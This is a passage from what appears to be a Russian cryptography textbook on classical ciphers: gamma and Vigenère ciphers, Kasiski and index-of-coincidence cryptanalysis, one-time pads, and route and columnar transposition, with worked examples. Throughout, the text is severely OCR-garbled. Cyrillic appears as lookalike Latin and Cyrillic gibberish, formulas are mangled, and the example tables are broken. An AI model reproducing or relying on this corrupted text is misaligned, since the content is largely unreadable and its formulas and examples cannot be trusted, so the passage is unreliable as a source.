YaliHOM W PaBHOBEPOATHOM BHIOOpPE apryMEHTOB, TEM Jy4IUE Kade-

CTBO aHANOra.

Taxym 0Opa3oM, THHCHHBIA aHaMM3 CBOAMT 33Ja4y ONpeaene-
HUST KITIOUCH K PEIICHMIO CHCTEMEI JIMHEHHBIX YPaBHEHHH, B KOTOPOI
NpaBBie YACTH YPABHEHHH M3BECTHBI C HEKOTOPO#H BeposTHOCTHIO. M3
O0IUX HPUHINIIOB MATCMATHICCKOW CTATHCTHKH BBRITEKACT, 9TO €C-
i1 pacnpPeneNeHHe 3HAYCHMH NPaBbIX YACTEH YPABHCHHMH CHUCTCMBI
OTJIIHYHO OT PABHOMEPHOTO PACIPEACICHH, 1 HMEETCA JOCTATOYHO
GOJIBIOE HCIO YPABHEHHUH, TO PEIICHUE TAKOH CHCTEMBI THHEHHBIX
ypaBHEHHIT MOXKET ORITH HAMICHO CTATHCTHICCKMMH METOAAMH.

Baounsle mudper CTposTCA, KaK NPaBWIO, 110 HTEPATHBHOMY
upuHIEny. IlosToMy gake HMCIIONB30BaHME HAa KaKJOH HMTEpaLlUH
(hyHKUHH, HE EMEIOIIMX XOPOIMX IMHEHHKIX aHAJIOTOB, HE FapaHTH-
pyeT uX OTCYTCTBMA B pe3yibTHPYIOmeM peodpazosanuu. Ilpobme-

Ma noCTpoeHus OnouHbIX mupOB, AT KOTOPHIX YAAETCH A0KA3ATh
OTCYTCTBHC JIMHCHHBIX AHATOrOB, ABILIETCA BECbMa CIIOXKHOM 3aja-

“1Ci COBPEMEHHO#M NPUKIANHOH kpHnTOorpadHy.

Memoosr oupgepenyuanvnozo (WM HMHAYE, PAZHOCTHOIO)
AHAJIA3A CTPOSTCA B NPCATIONOXECHHY, YTO KPHITOAHAHTHK HMMEET
JUISL RHANIH3A HECKONBKO TEKCTOB, 3amu(pOBAHHBIX HA ONHOM KIIIOYE,
it JOMONHHUTENBHO MPEAIONATACTCA H3BECTHOH MHOpPMALHA O TOM,
KAK PA3THYAIOTCA MEXKAY CODOM OTKPBITBIE TEKCTHI (IPH ITOM CaMu
UPKPBITBIC TEKCTHI MOrYT OBITH HEHM3BECTHbI). B 910M caydae kpun-
I0AHATHTHK HOJyYaeT HH(POPMALMIO O TOM, KaK 3aJaHHBIC OTIIHIH
1t OTKPHITEIX TEKCTaX NPOABIAIOTCA B INHQPOTEKCTAX, WIH, APYTHMH
¢HOBAMH, KaK PA3HOCTh apryMEHTOB IM(pyroImero npeobpasosaHus
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OTPAXKACTCA HA W3MEHCHWM ero 3uavueHuil. Ilockombky mmbpyomee
peoOpasoBaHHe OJHO3HAYHO ONMPEACHISTCA KIIOUoM, T0 uHdopMa-
OMS O 3aBHCUMOCTAX MEKAY PasHOCTAMM 3HAUCHHMH apryMeHTOB H
PA3HOCTAMM COOTBETCTBYIOMWX 3HadeHWil (ynxupm mudposanms
MOXeET OBITh HCIOMBL30BAHA MPH MOCTPOCHAH aJIrebpauueckux ¥ cTa-
THCTHYECKMX METOAOB BCKPBITHA KII04cH anropuTMa mudpoBaHus.

3.1ludpsu raMmmMupoBanus.

B ocrose mu(poB raMMHPOBAHHA JICKHT METO/, «HATIOXKCHHS»
KIIOYEBOM MOCHECROBATENBHOCTH ~— TaMMBl — HA OTKPBITHIH TEKCT.
«HanoxeHne» 3aK0YaCTCA B IO3HAYHOM (MOOYKBEHHOM) CIOXKECHUH
KT BEIYMTAHMH [0 TOMY WIH MHOMY MOAymo. XOTs AaHHBC (-
POCHMCTEMBI OTHOCATCA K MHOTORHPABUTHBLIM CHCTEMaM 3aMEHSI,
umabpPE raMMUDOBARMY HMEIOT HEelstil pax ocoDeHROCTeH M 2achy-
MHBAIOT OTACNBHOrO paccMoTpeHus. B cuily mpocTroTsi cBOei Tex-
HHYECKOH PEANH3AIMH H BBHICOKHX KPHITOTpadHYECKUX KA4ECTB 3TH
MA(PHI TONYIIN IMHPOKOE PACHPOCTPAHCHHE.

Hcropuueckn nepsriit mudp raMMUpoBaHKs COBNIAAAN, IO Cy-
TH, ¢ mudpom Buxenepa, ognaxko 6€3 HCHOMBL30BAHUA CaMOi Tabmn-
n Bipkenepa. Kax yroMuHaiock B HCTOPHYECKOM 3KCKypee, Tab-
nuna Bixesepa npeacrasaser coboi KBaApaT, KAKAAA CTPOKA H Ka-
MABIE cToNbel KOTOPOro — HEKOTOpAasi YMCPSCTAaHOBKA 3HAKOB AaH-
Horo ampasura. IIpon3sonpHas Takas Tabmaia HAILIBACTCH JIATHEH-
CKHM KBaJPaTOM.

Wng no nyTa 0b6obumeHus, BBeJeM TOBaTHE mudpa TabmuuHo-
rO FaMMHPOBaHHUS.

IIndp rabmmrasoro rammuposanms 8 andasure 4 = {ay,....a,}
ONPEACICTCA TPOH3BONBHBIM TaTHHCKHM KBaapaToM L Ha A H cro-
coO0M NOMYYCHMS TIOCIICAOBATENBHOCTH OykB M3 A, HA3HIBACMOM
rammoii mmudpa. byxea a; OTKPHITOro TeKCTa 104 ACHCTBHEM 3HAKA
raMMBl a; TiepexomuT B OykBy a; mmpPOBAHHOTO TEKCTA, COACPIKA-
myiocsa B j-# cTpoke u i-M cronbue ksagpara L (nmompasymesaercs,
9TO CTPOKH ¥ CTonOIs: B L 3aHyMeEpOBaBbl B COOTBETCTBHM € HOPAL-
KoM cnenosanus Syxs B andasure A).

B cnyqae mmdpa Buwxenepa ypasuenue mmpoBaHus uMeeT
BHA: b=(a+3) mod n, a {¥%} npeacraBaser coboil NEPHOAMIECKYIO
TIOCHEAOBATENbHOCTh, OOPa30BAHHYI0 TOBTOPECHHEM HEKOTOPOro
KITIOYEBOTO CJIOBA.
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Hagmy CO CIOKCHHEM HCTIONB3YETCS M BARYHTAHUE 3HAKOB

FaMMBL.  COOTBETCTBYIOMME YpaBHe BAHNA NPUHHUMAIOT
HUS 10U

BT bro ®

b=(ar%) mod n uu b=(3~a;) mod n.

“mq)pélhubpmosraumnposarmx C HNpHBCICHHHIMH YPaBHCHHAMY
BAHUS OOBIYHO HA3KBAIOT mUdpaMu M aMM

0 -

b ¢pa IYIbHOTO raMMupo

Ecina qna pacumdposanns nocrarouHo 3amenuTs B ypaBHe-

i mudposaHus a; va b, 10 Taxue WHPPH HA3HBAKOTCS obparu-
MbIMHL.

Kpenrroanams apoussonssoro uagpa TabauaHoro raMMHpO-
MIHHA BO MHOTOM CXOX C KPHUITOAHAIHIOM mudpa MoaymsHOro
rMMUpoBatHs. PaccMorpuM ocHoBHEe Maen anamza Ha mpuMepe
mnppa ¢ ypasreruem Broxenepa. e

Tlporymepyem 6Gyxsu anpasura A wucnamm or 0 1o n-l
llycrs py, im0 5, — BEPOATHOCTH TIOSABNCHHA 3HAKA | B OTKPBITOM Tex:
¢1¢, FTAMMC ¥ B IM(POBAHHOM TEKCTE COOTBETCTBEHHO. Toraa sana-
1MC BEPOSTHOCTHBIX PACIIPCACICHMI HA 3HAKAX OTKPHITOTO TEKCTa U
| IMMBI (KOTOPBIC ECTECTBEHHO CUMTATE HE3aBUCHMBEIMH) HHAYLADYCT
IMICIPEACICHNE BEpOsTHOCTeH 3HAKOB Mu(POTEKCTa Mo dopmyne:

n-1

$; = ZP j—i
=0
B KOTOPO# pasHOCTS j — i Gepercs nio Moaymo .

. nj/la 2107 ?opmymﬂ cne,uy.er, 9T0 €M 7; = 1/n npu Beex | =

~n—1, 10 ¥ s=1/n npu Beex j = 0...n-1. I OBHAYaeT, YTO NPH
1npPOBAHIE OTKPHITOrO TekcTa PaBHOBEPOATHOH raMmoii nomyaa-
C1Cd MMQPOTEKCT, BEPOSTHOCTHEIE CBOHCTBA KOTOpOro HE m‘;z:a-
WICA OT CaMOM PaBHOBEPOSTHOH rammer. Do ofcrosTenscreo He
“TaBILIET BIAHCOB KPHITTOAHANMTHKY HCIIONb30BATE AHArPaMMY 1O-
» NOCKONBKY HPH HAJIOKEHHH

VIPCMATCE K TOMY, 9TOOH 10 CBOHM BEPOATH
tamMmMa Obiia  Onusks ) AHHO#M

4 OnM3Ka K ciyuaiiHoM
OCTEAOBATEIBHOCTH.

OCTHEIM CBOMCTBaM
PABHOBCPOSTHOH
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ITpu uMCTIONB30BAHMH HEPABHOBCPOATHON IaMMBI HOSBICTCA
BO3MOJKHOCTh BOCCTAHOBHMTh €C BEPOSTHOCTHBIC XaPAKTCPHUCTHKU
HENOCPEACTBEHHO O MH(POTEKCTY U MPAMCHHTE 3Ty ur(OPMALHIO
NpX KPHITOAHATH3E K (pa raMMHUPOBAHHA.

PaccMOTPHM KPHITTOAHATH3 mHpa raMMHPOBAHIS HA HPUME-
pe mmdpa Bwxerepa. Kak yxe ynomMuHanocs, 310 piudp MOAYIBHO-
ro raMMHpOBAHHA C YPAaBHCHHCM bi=(a+7%) mod n, Aqs KOTOPOro
ramMMa SBISETcA NEPHOAMYECKON TIOCIICAOBATENIBHOCTHIO SHAKOR ajl-
¢pasuta. Taxas raMma OOBIMHO MOMY9ACTCSA TICPHOMMIECKIM IOBTO-
peHUEM HEKOTOPOrO KIHOUESBOTO COB2. Hanprmep, KIIOYEBOE CIOBO
KEY naer rammy KEYKEYKEY... .

TlycTs { — AMMHA KNIOYEBOrO CJOBA. OO6bIHO KPUIITOAHAIINS
mrdpa BmKCHCpa MPOBOAHTCA B ABA JTaiid. Ha ricpsoM 3TaTC Onpe-
JENSETCA YHCIIO A, HA BTOPOM JTarie — Camo KIIOUEBOE CIIOBO.

Jlns ompeacncHHA WHCHA [l NPHMEHSACTCH Tak HA3bIBACMBIH
rect Kasuci, Hassaansii B wects @. Kasucky, npuMCHMBIIETO Cro
5 1863 r. Tect ocHOBaH HAa MPOCTOM HAOMIONEHMH TOrO, MTO ABA
OZMHAKOBEIX OTPE3KA OTKPHITOIO TEKCTa, OTCTOSIIX APYT OT ApYra
HA PACCTOSHMH, KPATHOM L, 6YAYT OZMHAKOBO sammmdposans. B cu-
Ny 310r0 B mMHpPOTEKCTE MIYTCA TOBTOPCHUS CUMBOIIOB JANUHOH HE
MEHbIIEH TPEX 3HAKOB, M PACCTOAHHA MEXAY HUMH. Jimna B TpH
CHMBONA BHIOPaHA TOTOMY, YTO CIYHafHO TAKHE OJUHAKOBHIC OTPE3-
KM MOTYT IOSBUTHCA B TEKCTE € AOCTATOIHO Masoil BEpOSTHOCTBIO.

Iycts dj,ds,... — HaWICHHHC PACCTOSHMA MEXXY TOBTOPE-
sapsve 1 d — HauGonbumil obmmit aemrrens rux wucen. Torxa 4
NODKHO AemThes Ha d. YeM Gorbie MOBTOPCHHH MMECT TCKCT, TEM
Gosee BEPOSTHO, UTO /L COBIIANIALT C d.

YIpeAnonoXuM, YTO HA TIEPBOM TAllC Mbi HAIU JIMHY KO-
4eBOro cosa . PaccMOTPHM Teneph BOIPOC O HAXOKACHHH CaMOTo
KIF0IEBOrO CJI0Ba. MOXHO KOHEYHO HCKAThb €10 MPSMBIM niepeGOpoM,
4 MOYKHO JUIS €r0 HAXOKACHHS HCTIONb30BATh TAK HA3HIBACMBIH B3a-
¥IMHBIH HHACKC COBIIANCHHA.

Toapo6HO 3TOT ANTOPUTM H3JIOKEH B [8]. MsI ke OrpaHUTHM-
Csl CTIGAYIONTAM: JUIS KAXKAOrO U3 S36IKOB MOXHO COCTABUTH Tabmmae
B3AMMHOrO MHAEKCA COBIACHMS npu cxsure. CpaBHEHHE Pe3yibTa-
TOB B3aMMHOFO MHIEKCA COBIAJCHAA mHUQpOTEKCTa C TabnuueH A3b1-
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Ka MO3BOMAET COCTABUTH CHCTEMY YPaBHEHHH, KOTOpas NO3BOIACT
NOIYYHTh CTOJIBKO BAPHAHTOB KIIOYCBHIX CJIOB, CKOJILKO Oyks B ai-
Jasure.

Wunimur cioBamu, eciu mpsMoit mepebop komburanmit ciosa
u3 3 Gyxs anrnmiickoro andasura 310 26°=17 576 KoMOuHauwit, TO
H3AMMHLIH HHACKC COBIIAJCHUA BRIAACT HaM 26 BADHAHTOB CIIOB.

Crenyer orMeTuTb, YTO 3T0T METOZA Oyner addexrusen s He
O4eHD GONBINMX 3HAYECHMIA /. ITO CBAZAHHO C TEM, YTO AT XOPOIIHX

NpHOIIDKEHA HHACKCOB COBIAJACHHE TPEOYIOTCA TEKCTHI AOCTATOY-
1o GonbLIOH ATTHHLI.

4. OpuopazoBbie GAOKHOTLI

910 mocneHMH anropuT™M U3 MUQPPOB 3aMEHBI, KOTOPHIM MBI
[XICCMOTPHM.

.,B KJIACCHYECKOM BHAC ONHOPA3OBBIX ONOKHOT HpEeACTaBIACT
c0BOH OYCHb JIMHHYIO NMOCICAOBATSILHOCTE CIIydaHHBIX OykB, 3a-
NHCAHHYIO HA JIMCTAX OyMars, KOTOphIC CKPEIISHB MEXAY coDoM B
Onoxsor. OropasuTens HCNOMB3YeT Kaxaylo Oyksy mu3 OnokHOTA,
wro0bi 3ainrgporaTs POBHO OAHY OYKBY OTKPHITOrO TEKCTa CO00mE-
nust. [Iudposarme cocrouT B coxeHnu OyKBBI OTKPHITOTO TEKCT2 H
hyxBsl 13 0ZHOPa30BOro OnokHoTa o Moaymo N, rac N — xomerge-
creo Oyks B andasure. [Tocne mmbposanus oTIpaBUTEIh YHHITO-
MICT HCTIONB30BaHHBIA oaHOpasosbill GnokHOoT. UYroOH OTMpaBHTL
noBoe COODIIEHHE, eMy NMPHAETCA U3rOTOBHTh MM HAWTH HOBHIH O
N0pa3oBhLiA OXOKHOT.

IMonywarens, Brazeromuil xonmueidl 0aHOPa3oBOro OHOKHOTA,
KOTOPEIM BOCLIONL30BANCH OTHPABHTENb COO0MIECHMs, TNOJYIaeT OT-
KPHTHIE TEKCT MyTeM cloxeH#ua Oyxs mmdporekcra u 6yks, m3sie-
CITHBIX B3 MMCIOIIEHCA Y HEro KOTMMHY OAHOPa30BOro GnokHora. Ity
KOIHEO OH 33TEM YHHYTOXKACT.

Ecnu npexnonoxuTh, 9T0 Y KPANTOAHATUTHKA HET JOCTYNA K
naHopasoBoMy GIOKHOTY, TO ARHHBIN anroput™ prudposanus abco-
WOTHO HAJCHEH. Tepexsadenromy mmdposaHHOMy COODIMEHMIO C
W\MHAKOBOH BEPOSTHOCTBIO COOTBETCTBYET IIPOM3BONBHEIA OTKPHI-
i TEKCT TOM K€ JIHHBI, YTO B COOOIIEHME.

Oxnako y anropuT™a 1mudpoBasms ¢ OMOMBIO OAHOPA30BOTO
(MIOKHOTA €CTh BECHMA CYINECTBEHHEBIN HepocTarok. [locnexosarens-
nocts GYKB, KOTOpas COAEPKUTCA B OXHOPA3OBOM OIIOKHOTE, JOIDKHA
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ObITh I0-HACTOALIEMY CIyYaifHOM, a HE MPOCTO HCEBAOCTYYAMHOM,
[IOCKONBKY JI00as KPUITOAHAIMTHYESCKAd araka Ha Hero Oyaer, B
NEPBYIO OYEPeb, HANPAREHA POTHE METONA FEHEPALHIH COAEPIKH-
MOT'0 3TOr0 OIIOKHOTA.

Hpyras BakHas OCOOCHHOCTE NPUMCHCHHSA OFNHOPA30BOr0
OGIOKHOTA COCTOMT B TOM, YTOOB HHKOTAA HE MONB30BATECE MM JIB2-
SKAB, HOCKOJBKY KDHITORHAIMTHK MOKET OTHICKATh YYACTKH
COOOIIEHHH, JUIS IHUPPOBAHUA KOTOPHIX OBUT MPUMECHEH OAMH M TOT
xKe oxHopasosbli OnokHor. Menaercs 310 cnexyromuM oOpasom.
Hy»xH0 nocneaoBaTensHO CABHIaTh OXHO COOOLICHAC OTHOCHTEIIBHO
IPYTroro ¥ MOACYHTHIBATE KONMYECTBO coBnaneHuii. Kax toneko 310
KONMYECTBO PE3KO YBEHMIHTCH, 3HAYUT, CHydalHas IOCICAOBA-
TENbLHOCTh, HCMONB30BAHHAA AN MHUQPOBaHHA ABYX DPA3NHYHBIX
orpe3koB coobmeHuit, Owbia omHod u Tod xke. [anpHefimmi
KPHIITOAHANA3 OCYIIECTBIAETCA JOCTATOYHO MPOCTO.

OnuHopasoBsie GI0KHOTBI MOrYT COCTOSTh HE U3 0aifToB, a M3
6uros. Toraa mudposanue SyaeT 3aKI0YATHCA B BBIIONHEHHH CIO-
JKEHHS 110 MOAYMO 2. JIis moMy<IeH S OTKPHITOrO TEKCTA JOCTATOYHO
OIATH CIOXKMTH 110 MOAYMIO 2 H(POTEKCT H COACPKHUMOE OXHOP2-
30Boro O6noxnora. Hagexuocts OyAer HO-PEKHEMY TaKOH ke, Kax
IIPH NOCHMBOILHOM MOAY/IBHOM CIIOKEHHUH.

Eme oauH HexocTarok GNOKHOTHOrO crocoba mmdposarm
3aKIIO¥ACTCA B TOM, 97O CIyYaifHAd MOCHCHOBATCAbHOCTD HOIDKHI
OBITD TOM K€ JUIMHBI, 9TC ¥ camo coodmenue. Urobr nmocnate xo
porkyro mm(poBKY, OTHOPA3OBEHIH ONOKHOT €me CroAWTCs, HO Kak
ObITH C KAHATIOM CBA3H, POITYCKHAA CIICCOOHOCTH KOTOPOTO M3MEps
€TCsl ACCATKAMH MerabuT B CeKyHRy?

Kosneuso, npu HeOOXOAUMOCTH MOXHO it XPAHCHHS CITy4aii
HBIX TIOCIIEJOBATENBHOCTEH BOCIIONB30BATHCA KOMITAKT-UCKAMH «
MHOI'OKPATHOH MEPE3anuChi0 MM LHUGDPOBOH MArHWTHON ICHTOM.
Oxnako 310 OyAeT AOCTATOUHO JOPOrOCTOAMIEE PEIICHHE MPodnemp
Kpome Toro, neobxomumo Oyaer obecrneunTh CHHXPOHHYIO pabory
MPHEMHOH H NEPEAAIOINEH anmapaTyphl, a TAKKE OTCYTCTBHE HCKA
AeHU npu nepenade. Beas paxe ecnu Heckoneko GuT coobmeHus
TIPOIYIMEHBI ITPH €r0 NEPeaaye, MOMyIaTe s Tak H HE CMOMET Ipo
9eCTh OTKPHITHIA TEKCT.

Hecmorps Ha BCE MEPEIMCHCHHBIE BHILIE HEAOCTATKH, OFHOPA
30BBi€ OIOKHOTH! YCHEIHO HCIONB3YIOTCs 1A mudpoBasus ceeps
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CCKpeTHBIX cooOmenmii. He umesn B coem PaCIOPsDKEHHH COOTBET-
CTBYIOIIETo ONOKHOTA, 3TH COOOMEHNS HEBOZMOIKHO OPOYHTATH BHE
JABHCHMOCTH OT TOrO, HACKOMBKO GhicTpo paboraror CYTIEPKOMIIbIO-
TCPRI, KOTOPHIC HCTIONB3YIOTCS B XOAE KPHITTORHATHTHYCCKOMN ATAKH.

Eme ogsum npenMymecTsom mcnoms3osamms 6IIOKHOTOB sB-
JMCTCSL BOSMOXHOCTD CO3JAaHMSA «IOKHOIO» Gnoksora. Ha ocrose
ukporexcra 1 HEKOTOPOro HECCKPETHOTO TEKCTa, HaNPUMEp JuTe-
PATYPHOIO NMPOM3BEACHUA, CO3XACTCA NOXKHBIH GroxHor. B cIyqae
MOSACHCTBUA CO CTOPOHBI CIIELICITY O MM APYTHX KL, MOKHO npe-
NOCTABHTD HM <JIOXKHBIH» GIOKHOT M pacckasaTs HCTOPHIO O TOM,
KK BBl PAKTUKOBANMCE B IM(DPOBAHMN PasmHYHEIX TeKCTos. Momk-

H0 HCTIONB30BATL HE JTHMTEPATYPHOC HPOM3BEACHHE, a NOXOXYIO Ha
paBRy Aesundopmario.

Hivdpsr nepecranosxu

B ucroprueckom 0630pe YIOMHHAIUCh HEKOTOPHIE THIIHI
wipos mepecranosku — Crprrama, at6anm, Knrodom mudpa asns-
¢1Ci IEPECTAHOBKA HOMEPOB GYKB OTKPBITOrO TEKCTA. 3aBHCHMOCTE
NMOYA OT JTMHBI TEKCTA COZNACT 3IHAYMTCTLHBIE HEYA06CTBA B HC-
nonb3oBaHuy mudpa. B cuy sroro 6ni NPEANOKEH PAR YACTHBIX

HupoB HEPECTAHOBOK, KOTOpBIC MOXXHO IPHMEHSTS A1 mudpoBa-
MM TEKCTOB JIFOOOH TITHHEL,

1. MapupyTabie nepecTanosics.

Hlupoxoe npumeHeHHe MOy IHAM TaK HA3BIBAEMELC MapmpyT-
"¢ TICPECTAHOBKH, OCHOBAHHEIC HA HEKOTOPOIL T€OMETPHYECKOR
(wrype. OTpesok orkperroro Texera 3aIHCHIBACTCA B Takyio durypy
I neKkoTOpoi TpackTopue. IudpoBaHHEIM TeKCTOM sBIsETCH no-
{ WOBATCILHOCTD, NONMYYCHHAS NPH BHITHECHBAHAH TEKCTA [0 apy-
1ot Tpaekropur. Hanmpamep, Moxso sanmcrsars coolmenne B mps-
MOYTOJIBHYIO Tabmuny, BeibpaB Takoii MapupyT: 6ynaeM OBHrarscs
0 'OPU3OHTANH, HAYMHAA C JIEBOrO BEPXHEro yria, TI009EPEIHO
'11¢had HANpPaBO H crpasa Haneso. CHHckBaTE xe CooBmenme 6yaem
1 IPYTOMY MapHIPYTY: IO BEPTHKAIAM, HAYHEAS C BEPXHETO MPaBo-
1 VT2 H ABUTasCh NOO4CPEAHO CBEPXY BHA3 U CHH3Y BBEpX.
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TMprmep:
3amndpyeM ykasamHmM Bhime cnocobom dpasy npumep
MAPULPYMHOT nepecmanoeku, ACTIONB3Ysl MPAMOYTOibHYIO Talbnuuy
pasmepom 4x7:

n P H M < p M
¥ S ¥ — —— V.
nal Ty Vil prlmj ptioa
o! 1‘»’1; My} etj pijeifct
uy| ki) By| o]} ny| a}| 1y
O6o3naueHu:

—— 3a0rHCh OTKPHITOI'O TEKCTA
..... + UYrenue mudporexcra

3ammdposannas ¢pasa BHMIAIUT CICAYIOUMM 00pa3oM:
MacTacppPeIPHOSPMUYTIIBKITPITHOM

Ob6paineHue ONHCAHHBIX INAroB NpH pacmHdpoBaHMU He
IPEACTABIAET TPYAA.

bonee crnoxubie MApMIPYTHBIE IEPECTAHOBKM MOTYT HCHOMN
30BaTh APYTHE TEOMETpUYECKHE QHUIypHl M 6onee «XuTphie» Map
HIPYTHI, KaK, HATPUMEP, NpH 00X0A€ MMaXMAaTHOH JOCKH «XOZO0M KO
Hs», MyTH B HEKOTOPOM JaDHPHHTE W T. 11. BO3MOXHBIE BapnaHTh
3aBHCAT OT (PAHTA3UM COCTABHTENIA CHCTEMEI H, KOHEYHO, ECTECTBEH
HOro TpeOOBaHMS IPOCTOTH €¢ UCTIONIB30BAHMS.

2. BepTHKA/IbHbBIE EPECTAHOBKH.

PasuoBuznocTs mHdPOB MapmpyTHOW NEPECTAHOBKH, MOy
yHBINas IMHPOKOS pacupocTpaneHue. B mmdpax BepruxanbhHoii ne
PECTAHOBKH TAKKE MCHONL3YeTCA MPpAMOYrojibHas Tabimua, B KOTO
PYIO COOOIMEHHE 3anMChiBacTCA OOBIMHBIM 00pazoMm (MO CTPOKaMm
ClleBa HAMPaBO). BHINMMCHIBAacTCA KC COOOMCHHE MO BEPTHKATSM
(cBepxy BHM3), IPH 3TOM CTOJIOLB! BHIOHPAIOTCA B MOPAIKE, ONPEC
JISEMOM UHCIIOBRIM KIIIOUOM.
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Ipumep:
3amudpyem dpasy eom npumep wu@pa eepmuxanvroli nepe-

CMQaHO8Ku, NCTIONb3ys IPAMOYTOIBHUK pasMepoM 6 x 7 ¥ yucIoBoi
w04 (5,1,4,7,2,6,3).

5 1 4 7 2 6 3
Blo|lrtlm|plul|wm
Clplwimidblp!|a
Blelplrt|lunlx]| a
JIblH|OolHIn]| e
plelctTtlalulo
B | x| n

Teneps, suimuchiras GykBH 1o cTon6uam B IOPSAKE, YKa3aH-
1OM HHCIOBBIM KIIOYOM, HONY9IHM TAKyIO KPHIITOrpaMmy:
openexp«bnﬁamaaeormpﬂcmesnpwpmor

Ocobenno xorenocs 6wt NOAYEPKHYTh, YTO HENENEeCO06pa3HO
JUOMHATS  TIOCICAHIOI CTPOKY TPSAMOYTONMBHHKA <HEPAGOTHMIE
VYKBAMH, TaK KaK 9TO a0 Gbl MPOTHBHMKY, HOXYYHBIIEMY B CBOE
PACHIOPSDKCHUC JaHHYI0 KPUIITOTPAMMY, CBEACHHS O JJHHE THCIIOBO-
10 KIIOYa M NO3BONMIO OBl €My ONPEACTHTh TIPHMEpHBIi NOPAZOK
CIUTBIBAHUS CTOJIOLOB.

Hns cpaBHenus mpusenem PE3YILTAT «HECNPABHIILHON» KPHII-
TOrPAMMBEI, 3AMTOTHYB TYCTHIE KIETKH TOYKAME,

opesexp«bnﬁa-Maaeo-Tmpncm;ennpnnpmn-morr-

o nammol kpumTorpamMme mosxmo YCTQHOBHUTDL BBICOTY H KO-
HYECTBO CTONOLOB, & TAKKE ONPEE/HTD KAKHE CTONONB! JOIKHBE
IIXOAATCS B JICBOM 4aCTH TAGNHUIEL, 4 KAKHE — B HIPaBoii.

Kax nponssonures pacmubposanue xpurrrorpammer. Chauana
10 ONMPEACITATS HCIIO ATHHHBIX CTONGLOB, TO €CTh IHCIO Oyks B
NNOCIICAHEH CTPOKE NMPAMOYronbikKa. Jins 3Toro HysHO pasaenuTh
"1Cj10 OYKB B cooOmenvu Ha JIMHY YHUCHOBOrO Kmo4a. JCTatok or
neneuus B Gyaer uckombiM auciom. Koraa 1o umcro ONIPEAEHEHO
(VKBHI KDHIITOrDAMMEI MOXXHO BOJZBODHTS Ha MX cobcTBeHHEIE M€C:
11, i cooBmenne Gy et mpoUMTAHO eCTECTBEHHEIM obpazom.
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B namewm npumepe 38 = 7-5 + 3, no3TOMY B samonuenHo# Tab-
JTHLIE AMEETCA 3 JUTMHERIX M 4 xopoTKHX CTONOUA- CoraacHo THCIO-
BOMY KITIOTY, HA9aTbHAIC GyKBH KPHITTOrpaMMet GepyTcs U3 BTOPOro
(no cuery Crnesa) cronGua, OH — JIHHBIA (13X Kax nepBHE TPH
cToNGiA — JJHHHKIE), TI0ITOMY NEPBHIC mecTh Oyks 0Opa3yior BTO-

poii cronoen. Crnepyromue nsmb OyKs obpasyioT MATEM cronbet (OB
—— KOPOTKHH). Y Tak Aance.

JjieMEHTHI KPHITOAHANH3A nnpos NepPecTaHOBKH.

3aMETHM, YTO OYKBBI KAXAOI0 croI01Ua 3aNONHEHHOTO IPAMO-
YrOMHHYKA BHITMCHIBAIOTCH B KpHIITOrpaMMy TOApsA, TO CCTh KpHIE-
torpamma pa30uBacTCs Ha OTpE3KH, SBJIAIOLICCA cron6ram Tabm-
met. TloaToMy TpH JCmuPOBAHHH CICAYCT TOMBITATECH COEAMHUATD
ABE TPYIIIbl TOCICAOBATENbHBIX GyKB KpHITTOrpaMMs! TaK. 1008
OHU 00pa30BLIBAIE XOPOLIHC (uMTAEMBIE), € TOUKH 3PEHIA OOBIYHOTO
rekcta, Kombunamuu. [ 31oro €CTECTBEHHO MCIIONB30BATh Haulo-
Jiee 9acTHE OMrpamMMbi OTKPHITOrO TEKCTa, KOTOPHIE MOXHO COCTa-
BuTH U3 GYKB paccMaTpuBacMoro mH(pPOBAHHOIO TEKCTA. Ecma mmwi
nepBo#i Iposs! BHIOPAHO, CKAKEM, COUCTAHHC CT (camas uacras Ou-
rpamMma pyccKoro A3BIKA), TO MBI MOYKEM IO O4CpEAH IPHIMCHBATD K
kaknoi 6yxse C KpHIITOrpaMMB! xaxayro Oyksy T u3 HEe. TTpm aTOM
HECKOJIBKO BYKB, CTOSIIWX /10 H TOCAC nausoii Gyxsst C, 1 HECKOI-
Ko 6yKB, CTOAIEX JO U T0CIC napHoOM Gyksst T, COSAHHAIOTCH B na-
PEL, TO €CTH TOMYHAIOTCH ABA cronbna GyKB, 3AICAHHBIC PATOM.

Koseuso, Mbl HE 3HacM JUTHHBL cTonbuoB, HO HEKOTOPHIC O
paHUMCHHs Ha HHX MOMNHO [ONyYWTh, HUCHONB3YH [OJIOMKEHHE KOH
kperusx Oyks. Tak, CTONOLE AOMIHEL MMET OMHAKOBEIC JUTHHE
M IiepBEIA cronben MOXET GuITh JTMHHEE BTOPOro Ha OJIHY OykBY,
1 Toraa 31a OyKsa — MNOCICAHAA GykBa COOOmMCHA:

Jins BHOPAHHOTO COYCTARMI CT nonydacrtes no OJfHOM mapc
CTONOIOB /U KAXAO0TO KOHKPETHOIO pribopa Gyxs C u T 13 KpuITo
rpamMMBi, 1 M3 HAX neecoobpasto oTobpat Ty 1apy. KOTOpas €O
ACpKAT HAHOONEE JacTHie OGUrpaMMBL.

JamernM, UTO TPH ABTOMATH3ALMH 3TOr0 MPOHECCa MOXHO
TIPHIHCATH KOKIOH Ourpamme Bec, paBHEI JaCTOTC €& [OABIICHAS It
OTKpPHITOM TEKCTE. Torza nenecoobpasHo orobpars TY mapy crond
11OB, KOTOpas HMECT pauGompmmin Bec. Kerath, [OABICHUE OHO!
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OurpamMMsl ¢ HU3KO# i JUTHHY
LA amoron MOXET yKa3aTh Ha 10, 9TO
nogwgafpfnﬁy 2:;1;‘!61103, MBI QHAJIOTHIHBIM 00pa3’oM MOXeM
o aﬂam?m (cupasa wm ciesa) u 1. 4. Ormcannas
TPOLEIYPA Shati cnoc; YOPOINAETCS APH MCHONB30BAHHH BEPOAT-
HuX G0 Bepommmo', KOTOPBIC MOTYT BCTPETHTBCH B TEKCTE C
P
op maii;\:(:pﬁrnymczx; METOA, NPUMEHUMBIH K o0biM mudpam
e ot » 910 K BYM HIIH bonee coobmenvsM (MM
e e om'}uaxoson JUTHHEI PAMEHSETCS OJHH H TOT
o undp nepecre Ha:m. OrJa OYEBHAHO, 4TO OYKBHI, KOTOPHIC Ha-
ooy 12 O OBBIX MECTAaX B OTKPBITBIX TEKCTAX, OKAKYTCH
a BBIX MECTaX M B IM(POBAHHKIX TEKCTAX.
e 1::;&3: :»éaxm@posanme coonxje}msx ONHO TIOR APYIHM
P YKBEL BCEX COOOIMEHHIT OKa3HBAIOTCA B MEPBOM
Komcper;me % — BO BTOPOM H T. A. Ecry npeamonoxuTh, 910 4B
crron TeKZTK:HT (1); g,tmom H3 cOOOMEHUH HIYT OXHA 33 APYroi B
